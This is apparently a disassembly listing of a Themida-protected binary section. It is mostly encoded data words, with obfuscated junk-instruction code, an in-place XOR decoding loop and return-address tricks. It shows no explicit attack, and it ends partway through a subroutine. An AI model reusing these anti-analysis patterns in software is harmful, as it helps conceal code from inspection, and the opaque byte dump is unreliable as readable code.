dd 686h, 8C0F00h, 5F000000h, 8101EE83h, 0B7E635C9h, 4E4E4E48h
dd 7E9h, 0EF993200h, 4B9916B9h, 0F01EB83h, 0FFFF9885h
dd 8DD08BFFh, 19FF408Dh, 0F99D2306h, 89061316h, 131BBD8Dh
dd 85C7F506h, 61318DDh, 73C4h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0EC35141h, 305585C7h, 613h
dd 8B660000h, 0EDB5FFDAh, 6A061331h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 1597C357h
dd 8995FFF9h, 0F06131Dh, 68Bh, 0BEE8100h, 6A0F5209h, 0A995FF00h
dd 8B06130Dh, 0C60CEBC0h, 0F82122D4h, 2405208Dh, 0E8FD44FFh
dd 6, 0A9A173C1h, 8E0F9DDAh, 2, 0FC5F1CB6h, 5E30C781h
dd 81660000h, 0BE70DDEAh, 1762h, 0D2DBD89h, 37FF0613h
dd 0DE960h, 2C260000h, 0E76E71A3h, 64FC3159h, 0E8A0C16Ch
dd 0Ah, 9F3B3AC9h, 8E64B6C8h, 58F55E2Fh, 85295B61h, 6131DADh
dd 0F8BFF381h, 85897B2Ah, 6130641h, 9482C381h, 830F1C22h
dd 4, 845BB966h, 3A45F381h, 95B8492Bh, 5373C46Ch, 11A99D09h
dd 78F0613h, 216D8523h, 0EF810613h, 60873E84h, 81C68B66h
dd 873E80C7h, 2D958B60h, 4E061332h, 0FF80850Fh, 0B589FFFFh
dd 61306FDh, 14E8h, 0F8601900h, 63621142h, 66E304F6h, 201A48BCh
dd 9EFF1E48h, 0C830F3Ah, 0F000000h, 688h, 0E9BD8B00h, 59061322h
dd 0AE9h, 6274C300h, 897C0528h, 81FF35BBh, 72F7C1h, 38C0F00h
dd 66000000h, 8168D98Bh, 5A00001Ch, 13E8h, 9B916B00h, 5BC8AAE1h
dd 3C4DE441h, 0F5A263AEh, 0C522108Ah, 5B92EC80h, 18BF31FFh
dd 5E71D9A8h, 38E0Fh, 8B660000h, 7FC681FEh, 0F28890Bh
dd 8Ah, 2EE8100h, 0E811BA54h, 10h, 0B536E8B3h, 6C9A0FDEh
dd 8E27739Fh, 0F5D4DFC8h, 0B7F6815Bh, 601C3348h, 397DC981h
dd 0E08148DAh, 1B28BED7h, 18F5661h, 0A5DB8166h, 1E9811Dh
dd 0E9502756h, 8, 0F9005D62h, 1670212Ah, 55FDC181h, 0AE85027h
dd 0D4000000h, 7826FCABh, 0C0C2CB66h
dd 0EA815FEEh, 1, 0FF76850Fh, 0BD8BFFFFh, 613104Dh, 0A234AC42h
dd 0A27C2406h, 3BB37D7Ah, 80233047h, 83B42A21h, 6F302590h
dd 863025C4h, 92A598A7h, 89302301h, 86305A8Dh, 0F8DA684h
dd 86363666h, 8642A12Eh, 3F62590h, 802334A9h, 0EED04D6Ah
dd 82B15B98h, 3E5E452Dh, 1385DAADh, 0B363656h, 904C16A4h
dd 0DE0DA96h, 67B5E3B8h, 0C8363635h, 8518A87Ah, 0A204A4D2h
dd 0F571DA49h, 0A2B990BDh, 3BD2332h, 802659A3h, 7EBBF5B7h
dd 8630359Dh, 8638CC12h, 89962509h, 86302B01h, 4F3B6C42h
dd 79C0A02Eh, 8BD9DA6Fh, 0B302548h, 957FA8B9h, 86359D14h
dd 65CF2509h, 86CE9809h, 0BBD2358h, 802A249Dh, 0B6153728h
dd 47FF0ECEh, 0A234AC42h, 0A27C2406h, 3BB37D7Ah, 80233047h
dd 83B42A21h, 6F302590h, 863025C4h, 0E98398A7h, 0B9A4F305h
dd 22h, 9E8h, 35331C00h, 942126E7h, 8B5F2FCCh, 130F4195h
dd 0C3C78106h, 60000066h, 0C319D89h, 8B660613h, 0B861DAh
dd 8B000000h, 131FAD95h, 3834FF06h, 99E2B860h, 53524252h
dd 5B615E5Eh, 0D618E981h, 0EB812323h, 28DDE54Eh, 0E16840BAh
dd 0C2EB8118h, 891201A1h, 132825B5h, 0E5C38106h, 0E953F6DAh
dd 5, 0D47A2355h, 71C8966h, 0D599D89h, 0BA660613h, 0E8814A70h
dd 544CC233h, 0C081CF8Bh, 544CC22Fh, 81F1BF0Fh, 0FF99E0F8h
dd 9A850FFFh, 0E8FFFFFFh, 7, 0E68EFD52h, 0F7841E7h, 28Fh
dd 595A5300h, 0FE8h, 5C6FED00h, 18647844h, 81C409E1h, 0FE3BFBA0h
dd 1EC59D8Bh, 8B590613h, 91C181D1h, 8B000074h, 0CC48BFD7h
dd 0EF811AC2h, 1AC2AF50h, 3EE8166h, 8B31FF88h, 132D11B5h
dd 29575806h, 1300598Dh, 0E8815B06h, 5F7C395h, 0C820Fh
dd 8D0F0000h, 6, 4CD9D89h, 0E8810613h, 66A638E0h, 0DE9h
dd 0FC016A00h, 76C6D0D4h, 857D45B3h, 0E8815FA0h, 34DC6EB7h
dd 1899DB3h, 706412BAh, 4E98364h, 20CFE381h, 0EF8149BFh
dd 1, 13850Fh, 9D8B0000h, 61322EDh, 15E9h, 0DFAE8000h
dd 2878487Ah, 0FF83E9DBh, 0B51BFFFFh, 7939DBA1h, 1FE975D0h
dd 0E9000000h, 7CD01Ch, 6 dup(0)
dd 0F0E90000h, 2E000007h, 3218B6A0h, 2A10AEA0h, 3416B496h
dd 2B0DADA3h, 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h
dd 2428B99Fh, 6392BD86h, 16B7B7E7h, 70C579B0h, 109DB511h
dd 86007552h, 4F109DB4h, 81D406CEh, 203EE805h, 8FEE6CD8h
dd 8CFAEF2Fh, 96BE0B2Fh, 51DC114Eh, 7A168DCBh, 0FB4A0858h
dd 0F3DCFB9Ah, 79DB7241h, 45E8A3C7h, 0A7EC2724h, 706FFEC6h
dd 253F54Ah, 0E63690C5h, 9EFF0A89h, 56E3F5FFh, 67FAE0FEh
dd 0DF7254E5h, 9C36DC6Dh, 0ACE2731Fh, 89E5DD39h, 667A60Ah
dd 15A387A8h, 6D2BB33Dh, 0D55AADDBh, 41h, 2670BD69h, 9DB55BB7h
dd 80E12410h, 14408DB1h, 36D33D45h, 0B7173D8Ch, 41E65D1Bh
dd 1F05A3h, 0BD590000h, 0E3C7E470h, 75F4FC54h, 9DB48504h
dd 7FFC6610h, 0BC0B86D3h, 0FAD5F594h, 2Fh, 4BE0C258h, 0A32D6CFDh
dd 213024B1h, 9DB574D0h, 3218AC10h, 0FF921F23h, 4DCC9DADh
dd 0DB751D2Ch, 3E54775Eh, 0A6381ACDh, 9F2E20A8h, 0A3BB15B5h
dd 7AEBC8BEh, 168E85A3h, 2E102164h, 3012B09Ah, 0A19FAE9Ch
dd 6CA13E48h, 107B8EA5h, 4D035476h, 0AC399DFCh, 707899A8h
dd 7FC392F3h, 94D1C2Ch, 15C697BBh, 63796CDDh, 4EE29029h
dd 0D901DEFCh, 0DAFCC488h, 0C3E7C486h, 988D971h, 85D120BFh
dd 67047778h, 4ADE9425h, 0A308A200h, 7CD607BBh, 45109DB5h
dd 5085A1C0h, 52024F73h, 0A03A8203h, 46E06CBDh, 994767C1h
dd 41A641DEh, 53h, 0C5BBA315h, 4EE0C269h, 400A9E00h, 0B4890F1h
dd 9DB580DAh, 4391B910h, 2728C50Fh, 0EB9AB203h, 109DB56Fh
dd 9AB4D538h, 6BBD68C2h, 0ED152F19h, 6D0C07BEh, 70E5C2D1h
dd 109DB516h, 0DD2BF8DFh, 0DAE6ECEDh, 41DF31BBh, 0FE4CE0C2h
dd 63EBF6h, 0C2470000h, 0EC4051E0h, 0EF8E0F5Eh, 358DD9E5h
dd 9DB546C0h, 68EA7A10h, 0A7ABB8D9h, 0E9283919h, 0E8CAE988h
dd 66F0F856h, 0B53793C2h, 4A70109Dh, 860756F8h, 3483D73Eh
dd 795E7D1Ch, 0CB15B3F7h, 23BD0704h, 6BBD68C2h, 0AEDF00DFh
dd 109DB534h, 0E475D368h, 6D7796A5h, 70E5C2F3h, 109DB516h
dd 0E436BEDFh, 0E06CBD3Eh, 36142051h, 0C2FD1099h, 331670E5h
dd 0BEDF1099h, 0B35FDC36h, 0A68C2A22h, 2A2C3D17h, 0A6A8B99Bh
dd 26283913h, 0A4A6B791h, 0EC26390Fh, 1280664Fh, 0D87CC979h
dd 949262FAh, 2B3A5CBAh, 20000000h, 51E06CBDh, 5B780E53h
dd 4903567Ch, 0A38D007Fh, 0C746168Eh, 1CADE576h, 4ABBD366h
dd 0A8A9CD0h, 0B5157499h, 3022B298h, 6CBD2EA8h, 0C3E4C3E0h
dd 9DB53892h, 0ED9C0110h, 109DB571h, 67F7DB3Ah, 328EDDE7h
dd 4A704F37h, 4F8C54F6h, 8EA2031Eh, 0E9C94C16h, 2D1076C7h
dd 0AC49DF4Ah, 7ED31A81h, 9F022B41h, 4A706FFEh, 860756F8h
dd 0BA70CF3Eh, 0D7688EDCh, 54E6E879h, 7AF86BFAh, 0CF431401h
dd 13A58D3Ah, 1AABAD37h, 25850174h, 0CF4E8618h, 972A10AEh
dd 0A53416B5h, 81DD10AFh, 4A861825h, 466201CBh, 194C6B1Bh
dd 8C092F40h, 203F9C01h, 51971EDh, 0C4183A80h, 76C3E786h
dd 0C60E8FDEh, 0BBA33A98h, 0F65069C5h, 0C3E06CBDh, 300151DFh
dd 0C14D07D1h, 0DE994767h, 577BA641h, 95F44505h, 45D44Bh
dd 0A36A0000h, 0C269C5BBh, 9DB53793h, 0F64A7010h, 0BEDF8C54h
dd 0BDE5C2A4h, 8D00DF6Bh, 109DB511h, 0A731BBDAh, 0B3196BBDh
dd 9ED5190h, 7DA680E1h, 0E0DDC2E3h, 8B992870h, 0BD6A0D7Bh
dd 0F16C316h, 259AC5h, 0A3380000h, 2DB6FFBBh, 81114D4Ah
dd 93C246E0h, 109DB537h, 2861F426h, 6AABBA98h, 0C2D06A0Bh
dd 0DF6BBD68h, 0BDE37D83h, 0E4C3E06Ch, 9DB51571h, 8C01DE10h
dd 109DB512h, 11DBBADBh, 36152352h, 94FE1099h, 52FA4BF7h
dd 55FF4E74h, 1B73C204h, 80B68F4Ah, 1A2B4AC3h, 5AE7A838h
dd 88CA9BFAh, 164A1B39h, 90765FDCh, 0A1FD704Fh, 6A10998Dh
dd 1737872Bh, 1CC643CDh, 22887CDh, 4ADEB3h, 27B1D061h
dd 0BA2B0C29h, 10998E60h, 84DCE429h, 5CBA33B4h, 391Ch
dd 6CBD4200h, 557251E0h, 9DB4A620h, 8394D710h, 470DE78h
dd 0B20ED637h, 7DF0CFB7h, 168F4190h, 98B71479h, 8B40E965h
dd 6F53B20Ah, 0BEDF6EDEh, 0EE24B736h, 3814A55Dh, 6CBD409Ah
dd 0E5351E0h, 4B2A5B78h, 0DC168EAAh, 0A3BF19B9h, 5069C5BBh
dd 70E5C2F6h, 109DB516h, 2436BEDFh, 0E71EF591h, 379CABF6h
dd 0E0C2FC56h, 9AB8004Eh, 6CDDC240h, 0FA459449h, 0C5A33B85h
dd 6DA64179h, 2Fh, 0C5BBA3D1h, 3793C269h, 109DB5h, 0CC1C3E9Dh
dd 8E56B786h, 50E0C2D4h, 22099D02h, 0B273180Fh, 0BD8D2D2Ah
dd 7D83DF6Bh, 3DC4E3h, 0A36A0000h, 0C269C5BBh, 0D1B04BDDh
dd 4CC1864Bh, 109E8AD2h, 0D11B7A9Bh, 8AF55184h, 0AFE4109Eh
dd 6FB0D15Ch, 2C066704h, 6BBD68C2h, 0AEDF00DFh, 109DB534h
dd 0CC88D5FDh, 737D1C7Dh, 0BDE37DE9h, 2051E06Ch, 10993614h
dd 4E0475FDh, 4F7151FBh, 0C1FF4EFEh, 8C01DEA8h, 168A3861h
dd 83AC0B8Ah, 9884E288h, 0B0AE3627h, 0C5BBA312h, 0BDF65069h
dd 0C146E06Ch, 0DE994767h, 4541A641h, 15000000h, 0E6C5BBA3h
dd 0B53A94C9h, 273109Dh, 109DB488h, 1E7FCC51h, 93C20CD6h
dd 109DB537h, 787DA00h, 9DB57CD6h, 0A1C04510h, 0B3107190h
dd 0B4E56194h, 6FAE109Dh, 68C2FB65h, 83DF6BBDh, 29C4E37Dh
dd 6A000000h, 250E0C2h, 20607EBAh, 3C0C9F83h, 93C22AB4h
dd 109DB537h, 0C29BB726h, 0DF6BBD68h, 19D6D700h, 66FF743Ah
dd 0E37D045Eh, 51E06CBDh, 99361420h, 475FD10h, 7151FB4Eh
dd 0FF4EFE4Fh, 0CB1BA8C1h, 0EB8C25BDh, 5647A72h, 17B4D534h
dd 8A468BE6h, 0D1F11416h, 0C5BBA377h, 0BDF65069h, 0C146E06Ch
dd 0DE994767h, 4141A641h, 15000000h, 69C5BBA3h, 250E0C2h
dd 0EE689DBAh, 0B7109DB4h, 0B4E96598h, 53B2109Dh, 0E071E16Fh
dd 0C266C0A1h, 3793C2E5h, 109DB5h, 0BD89539Dh, 0D700DF6Bh
dd 994685C2h, 0E17B45FDh, 20C4E37Dh, 6A000000h, 69C5BBA3h
dd 0B53793C2h, 0B726109Dh, 0BD68C29Bh, 0C283DF6Bh, 0B51670E5h
dd 0BEDF109Dh, 0BD3EE436h, 5351E06Ch, 775B780Eh, 0DA34A9E7h
dd 0A3109DB4h, 0D3320362h, 2899CC09h, 19168EC0h, 8FDAD6F4h
dd 0A94AC439h, 2C130A8Ah, 222F4FAh, 0C4A5C40Fh, 8A6376E7h
dd 260C1074h, 6BAABB95h, 0B0810461h, 0B1113B8Eh, 3F0E3E8Fh
dd 2A73BDCEh, 0C744AE5Eh, 2482CA1Bh, 72E3ABFEh, 89A66D18h
dd 8CDDBCE1h, 76DE6B4Fh, 824A0054h, 51FF50h, 7929A2CCh
dd 604764E8h, 3178B05h, 0D301CB23h, 0D381D0F2h, 879C0382h
dd 57A991D3h, 3081D31Dh, 6DA0BF1Ch, 89A679F1h, 0D2915BBAh
dd 0AF7h, 0E0C25B00h, 0D2330250h, 0BDDC860Ah, 7254E571h
dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 76768h, 243C8900h
dd 0C781E789h, 4, 8704EF83h, 525C243Ch, 0C281E289h, 4
dd 8704EA83h, 895C2414h, 89512434h, 4C181E1h, 81000000h
dd 4E9h, 240C8700h, 240C895Ch, 5304B850h, 2D480609h, 0FFFFFFFFh
dd 0EF4F932Dh, 58C689FFh, 240C8B54h, 4C481h, 89530000h
dd 8BA52F3h, 1000000h, 5A1A89CAh, 240C8B5Bh, 81E68956h
dd 4C6h, 4C68300h, 5C243487h, 5E2434FFh, 0E904C483h, 0FFF9760Ch
dd 24036B30h, 0B58A086Dh, 0B80225FAh, 61A0ACAh, 0E0FFC503h
dd 673E0520h, 694BEB72h, 6644F9B6h, 698635AEh, 65D5F675h
dd 6654255Dh, 38DAF9C9h, 0CC58D8Dh, 9D8B061Ah, 6131321h
dd 1BBD8D89h, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 1F9DF3C3h, 0BE34C82Dh, 0DD85C78Dh
dd 94061318h, 6A000059h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0E87AC352h, 0Ch, 55A870D3h
dd 0A2DE9EFBh, 2F8365E2h, 35099D2Bh, 0C7580613h, 13305585h
dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 2631C300h, 0EE9775Bh, 70000000h
dd 0AAAE259Eh, 995B00EFh, 3A8D9A66h, 12E907h, 0B3DF0000h
dd 0D179E85Ch, 37BA9782h, 0A9F5BB49h, 1F7DC7D6h, 0FE8h
dd 0A3822500h, 95E2B26Fh, 5BCD9275h, 59C4A1D4h, 58C3B70Fh
dd 0ED5B5FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 196715C3h, 97B09758h, 2BD3A4D8h
dd 1300D9BDh, 8995FF06h, 6A06131Dh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 52F9C356h
dd 0F8CAF5E2h, 95FF006Ah, 6130DA9h, 0FEBC08Bh, 9EE0E601h
dd 5EDD9155h, 1C31091h, 0E814031Bh, 0Ch, 0F70B07Ah, 5C080F9Ch
dd 15E54DAFh, 2B58D38Bh, 131D1995h, 44C08106h, 9000072h
dd 13059DBDh, 6806h, 0E2BA0000h, 5B7445B6h, 34FFD68Bh
dd 2860F03h, 8B000000h, 0C68159FAh, 7CED85B0h, 6F8FE981h
dd 83BE1E34h, 816E256Eh, 0DEE660C1h, 4FC2803Fh, 87DEF181h
dd 5E92BA4h, 0E6000000h, 3F103D61h, 0F180C89h, 8D29D0B7h
dd 613050Dh, 8104EB83h, 0FF8E48FBh, 0AF850FFFh, 0E9FFFFFFh
dd 0Ch, 0EA998701h, 0E4D9DE77h, 4AEECC25h, 23E9h, 87417500h
dd 0Dh, 7 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5ED536
; ---------------------------------------------------------------------------
db 58h, 0Ah, 4Ch
dd 54FA4C6Eh, 4A005476h, 5BF5466Ch, 4C08557Bh, 9BF03F6Eh
dd 82A8064Eh, 0A0822032h, 0BB9D3D0Bh, 0B784222Ah, 0C1E96598h
dd 5FB216B7h, 1D6CBD03h, 1372C38Fh, 52DFE372h, 2B7EA402h
dd 9B2E1021h, 8EEF59EEh, 0DA150631h, 31F8A1FBh, 0C41638A7h
dd 0EA28BB8Ah, 7E10A151h, 9E98930Fh, 58395C10h, 7F03587Ah
dd 435C5E3h, 70E5C2F1h, 109DD116h, 0FFDFBEDFh, 73C286D9h
dd 51014Fh, 7929A2CCh, 5E4462E6h, 193ABBCBh, 8FF643C6h
dd 0AF2E5FEEh, 28109E4Fh, 446611AAh, 34B9BF4h, 32025A62h
dd 0D4A34171h, 37CDCDEBh, 1CA4553Ah, 7305h, 0D1F9D600h
dd 449ECF83h, 0D109E3Dh, 89D874C5h, 13426908h, 0C159F1CBh
dd 0C2F9636Dh, 6CFD4BE0h, 20B1A32Dh, 70EC1D2Ch, 0E5109DB5h
dd 0E8A8D465h, 8AA341EAh, 198C03A5h, 13DD0FF9h, 18Ch, 6DBDB200h
dd 0AEBF891Eh, 568AB6A9h, 0DDBC2212h, 19A9ADBCh, 888146Fh
dd 0C7EC5AE6h, 0A0A9C867h, 0F64726D3h, 7CCD83D4h, 6012A7EBh
dd 2280CEh, 0A13F9FADh, 55E470BDh, 0DC6DE171h, 731F9C36h
dd 6A506EE6h, 2B1DB2D7h, 3D9AFB1Ah, 0B56FEB1Ah, 0D538109Dh
dd 0E67A5C0Bh, 0F5684764h, 109DB499h, 4A992362h, 0E2133423h
dd 109DB568h, 0B5992931h, 0C86F7D4h, 0D5109DB5h, 6DDE28B0h
dd 41E8613Fh, 4FC9A3h, 0BD6D0000h, 0F9902170h, 0B584E569h
dd 22243554h, 3B1FBC8Eh, 7594A5ADh, 276BFC6Bh, 351E092h
dd 10A082A3h, 9587A42h, 87D8FA4Bh, 0CA9BB506h, 521B2A4Bh
dd 4B1943B8h, 0F3A341E8h, 2Dh, 0E470BD47h, 6ADE7155h, 61DAF8DBh
dd 923024B1h, 4DE0C238h, 53E3F5FFh, 0BA1B6AFBh, 33109DB4h
dd 3AFA2297h, 0A2A341EAh, 1, 0CADDC2B8h, 0A9AB529Bh, 15D902Fh
dd 0CA109DD8h, 0FD4F814Bh, 87DAFC4Dh, 2E6074C5h, 0F753E59Dh
dd 221EEFD8h, 0A3013FF2h, 0E6FB3B19h, 32403A0h, 9DD178D2h
dd 3117AC10h, 0AAD9E322h, 168ECDBBh, 3618296Ch, 250AA9A3h
dd 520A0912h, 1E3C84C4h, 4A3A93Ch, 3E58B223h, 0FC210A8Bh
dd 880475F4h, 0C10A8B3Dh, 0B08F38D1h, 4514368Ah, 3E3995C4h
dd 83020A8Bh, 0C0C61739h, 361B52E9h, 0E9C9A817h, 0C61376C7h
dd 7C5EEF8Eh, 0F0D263E9h, 7B5FEE5Ch, 0EBD061E9h, 6E29A8DFh
dd 2E607499h, 0C842A89Dh, 582E7F33h, 946D79ABh, 84234240h
dd 9A6D6E9Bh, 767E734Ch, 470CCC68h, 0FAB45AACh, 8A000000h
dd 0B205BEA3h, 0A5D8F796h, 168EBC40h, 0A1A5B4D9h, 0BB9F3C10h
dd 0B9972129h, 0A9064697h, 9764817Eh, 0C60E04C4h, 0BA922327h
dd 0D465E3ABh, 0E1C18B1Eh, 0AD728B49h, 57335Ah, 0A3070000h
dd 74E9C6BCh, 6F624BFAh, 1B6EBF03h, 80E180C8h, 0B2230423h
dd 909DB558h, 118DFC21h, 0DA909DB5h, 43B231BBh, 909DB4C7h
dd 53E26AFBh, 0E372E26Fh, 291CAD1Bh, 0D8A01953h, 0EED4F38Fh
dd 2465F45Eh, 0B44EBF9Ch, 2DEF624Bh, 4E96B205h, 835E7CA1h
dd 69h, 0C8BEA3DFh, 3D99CCEBh, 6109DB5h, 0BC942387h, 77646CADh
dd 8EA0FB06h, 90A1E416h, 0D96E1BAEh, 8AB00E6Fh, 0B5441537h
dd 0A8AA052h, 0D88AFF93h, 0A7E7C785h, 9EB201C2h, 902F4ECFh
dd 74A46E5Dh, 79ECCB10h, 470921Dh, 6581E1E6h, 4F3CA8Fh
dd 8F0E5B65h, 3499CBEh, 57F41E32h, 912E5891h, 5A236F5Ch
dd 99395C0Ah, 0C8BEA33Fh, 0BA8D7AEBh, 1B7A1687h, 97B5084Ah
dd 91C31238h, 96270947h, 882E19B6h, 1F2F7F2Dh, 0E8CF4Eh
dd 6FFEC6E0h, 0E624441Eh, 0F0890914h, 7E5DEF42h, 0F6470D5Ch
dd 0ADA53397h, 32183523h, 2628B0A2h, 0A6A8B993h, 362A3B15h
dd 42933FBCh, 3386AC0Ah, 140D4819h, 0B1000000h, 0FD4BE0C2h
dd 6FA32D6Ch, 7ED80D2Ah, 47109DB5h, 0BD64FEC6h, 7254E571h
dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81595451h, 4C1h, 4E98300h
dd 5C240C87h, 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 68241C89h
dd 23h, 52243C89h, 171263BAh, 81D2F700h, 65726AC2h, 0DEB85055h
dd 2D7EFD6Dh, 227F7F61h, 7A135425h, 2E0C131h, 4002E8C1h
dd 95CEF42Dh, 58C23194h, 0FDF2814Ah, 8928B65Eh, 8B545AD3h
dd 0C483243Ch, 8685004h, 58000000h, 1889F801h, 243C8B58h
dd 81E28952h, 4C2h, 4C28100h, 87000000h, 0FF5C2414h, 835B2434h
dd 1E904C4h, 0A2FFF96Fh, 730097A8h, 7783EDB6h
db 1, 47h
; ---------------------------------------------------------------------------
loc_5ED536: ; CODE XREF: Themida_:005ED060j
mov eax, 61A11CAh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 38h
dd 6111AA99h, 0DF08F880h, 0B71B3D63h, 251AA5C1h, 0BD19A9DBh
dd 0DE111335h, 701FB8Eh, 0FE478414h, 552A9810h, 0F1707026h
dd 7A61CAE9h, 6A462616h, 9B17F00Dh, 2FE7ACh, 5778112Ah
dd 83256F6Eh, 0A15C005Dh, 1946F443h, 20C9765h, 4109AFE6h
dd 0CD3EA6BEh, 882FB991h, 3D50BE08h, 0F14146ECh, 0D20E9621h
dd 9853CCBEh, 4132BDF7h, 8B187740h, 1E7EF7D7h, 581E06E4h
dd 8D435F8Bh, 1A13628Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 817369D3h, 0C85424CBh
dd 89D58A46h, 131BBD8Dh, 0C1B9BF06h, 3CB015CBh, 18DD85C7h
dd 5AAC0613h, 0BD890000h, 6131E55h, 305585C7h, 613h, 9D890000h
dd 61305B5h, 2331B5FFh, 0FDB00613h, 1D8995FFh, 8B660613h
dd 0FF006AF1h, 130DA995h, 0EBC08B06h, 7951407Eh, 97E0B5F8h
dd 6220F408h, 905B895Ch, 0F6B98F1Ch, 28029682h, 0E46D4825h
dd 93F72E69h, 6597B388h, 0C6439E66h, 0A2610537h, 8C6E94BBh
dd 3AF40AC6h, 48F13338h, 0A4B75839h, 83402F90h, 3AA5E898h
dd 0ACC090EFh, 0E2E6E384h, 0EA585681h, 0D8C1B440h, 0FB724F1Eh
dd 0C2B7B6EDh, 0C5D1F2F4h, 0EC9BD655h, 21B27C78h, 0D9ED04E8h
dd 0C6393E89h, 0B58EDDDh, 0F18BF256h, 7184CA50h, 8DC93409h
dd 1A14548Dh, 7DCE8106h, 0F21C50Fh, 68Fh, 8DB58B00h, 8906130Ah
dd 131BBD8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 85C7C43Ch, 61318DDh, 6C20h, 5585C7F8h
dd 61330h, 66000000h, 0B5FFF38Bh, 6132831h, 2BED8D89h
dd 95FF0613h, 6131D89h, 6AF18B66h, 0A995FF00h, 8B06130Dh
dd 1B2FEBC0h, 8A922084h, 8ECECD57h, 0C0AD5DF1h, 619A42E3h
dd 22069AA9h, 0AD66B2ABh, 1795F45Bh, 0B222656h, 0FBE2D070h
dd 0A20D7DFDh, 3B5748EFh, 8D8DE7DAh, 61A154Fh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 60C35343h, 288822A5h
dd 0FA8B6660h, 13E9h, 644A4E00h, 0C1A087E2h, 3B6910Ch
dd 0FFA06581h, 3A2D71E0h, 0BD8D8961h, 6A06131Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 32B8C357h, 914A1D17h, 0A8BC0BB8h, 0DD85C777h, 5C061318h
dd 8100006Bh, 97E498CEh, 5585C766h, 61330h, 81000000h
dd 23926BF0h, 5DB5FF6Ch, 0FF061312h, 131D8995h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 895278FCh, 13351D9Dh, 6A5F06h, 0DA995FFh, 0C08B0613h
dd 75FF08EBh, 867D4C74h, 7E8FCB1h, 0B9000000h, 5D62D3h
dd 0E7812AF9h, 78053F0Ah, 81FE8B5Eh, 752FC6h, 0BBCF8B00h
dd 0
; ---------------------------------------------------------------------------
sub ecx, 28ADCA33h
loc_5ED84E: ; CODE XREF: Themida_:005ED894j
mov edx, [esi+ebx]
and ch, 26h
add edx, 24356C8Ah
mov [ebp+6130A0Dh], edi
xor edx, 447735A2h
add [ebp+61309DDh], ecx
xor edx, 69BD4996h
movsx ecx, dx
push edx
mov [ebp+6130AF1h], esi
pop dword ptr [esi+ebx]
movzx ecx, cx
mov eax, [ebp+6130B61h]
sub ebx, 4
and ah, 79h
cmp ebx, 0FFFF8B3Ch
jnz loc_5ED84E
lea ecx, [ebp+61A16D3h]
push 0
push ecx
call sub_5ED8AB
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5ED8AB proc near ; CODE XREF: Themida_:005ED8A3p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5ED8AB endp
; ---------------------------------------------------------------------------
db 0ACh
dd 0B70FA3D8h, 0BD8D89C6h, 6A06131Bh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5B4FC356h
dd 8D89C0AEh, 6131CD9h, 18DD85C7h, 71CC0613h, 858B0000h
dd 613176Dh, 305585C7h, 613h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0BBA041C3h
dd 0AEB28392h, 0BD896039h, 61308C5h, 0A419D89h, 89610613h
dd 1314E19Dh, 9B5FF06h, 6A061323h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0D15EC357h
dd 57B10B9h, 6D8F10EDh, 63EEEB81h, 95FF18F6h, 6131D89h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 9DC35646h
dd 1EC58D29h, 6A0613h, 0DA995FFh, 0C08B0613h, 56273FEBh
dd 81C7AAB6h, 0B95A5241h, 0AD5B68Bh, 8F7BA2A1h, 97073D2Eh
dd 6A53A0A9h, 1A98357Ah, 9A5FECD0h, 84BB3DCh, 24AFDDA8h
dd 6539EF19h, 4B1770A8h, 954C8C3Ch, 0DDD9593Fh, 1E8FEB96h
dd 0E185C6F4h, 56061311h, 0C530DF68h, 0E9B5FFA9h, 8D06131Eh
dd 167C3385h, 8DD0FF06h, 131A398Dh, 406A5106h, 0D55B5FFh
dd 0B5FF0613h, 6130B5Dh, 0B5FFD0FFh, 6130D55h, 0B5DB5FFh
dd 0CE80613h, 1E000000h, 0A81717DCh, 0A0572732h, 5AC7DFF1h
dd 4EA835Ah, 2242CC1h, 22424C1h, 0F7241403h, 68241Ch, 5F000000h
dd 813A0C8Bh, 0A0EA1CE9h, 4CF1817Fh, 81103741h, 0B9805C1h
dd 48F5168h, 0F6EF813Ah, 812D3C26h, 3C26F2C7h, 243C3B2Dh
dd 14850Fh, 19E90000h, 7E000000h, 888B8BFCh, 0BE41B53Bh
dd 0CDC6D70h, 0B9E96922h, 19FFFFFFh, 62714FF3h, 2A2D9D8Dh
dd 38B0613h, 840FC00Bh, 7, 5B8B038Bh, 8B188904h, 15FE9C9h
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_5EDAB2 proc near ; CODE XREF: sub_406890+12Cp
; sub_409BC0+1Cp ...
push edx
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 61A17F1h
mov eax, [edx+8]
cmp eax, 78263845h
jnz loc_5EDC08
mov eax, [edx+0Ch]
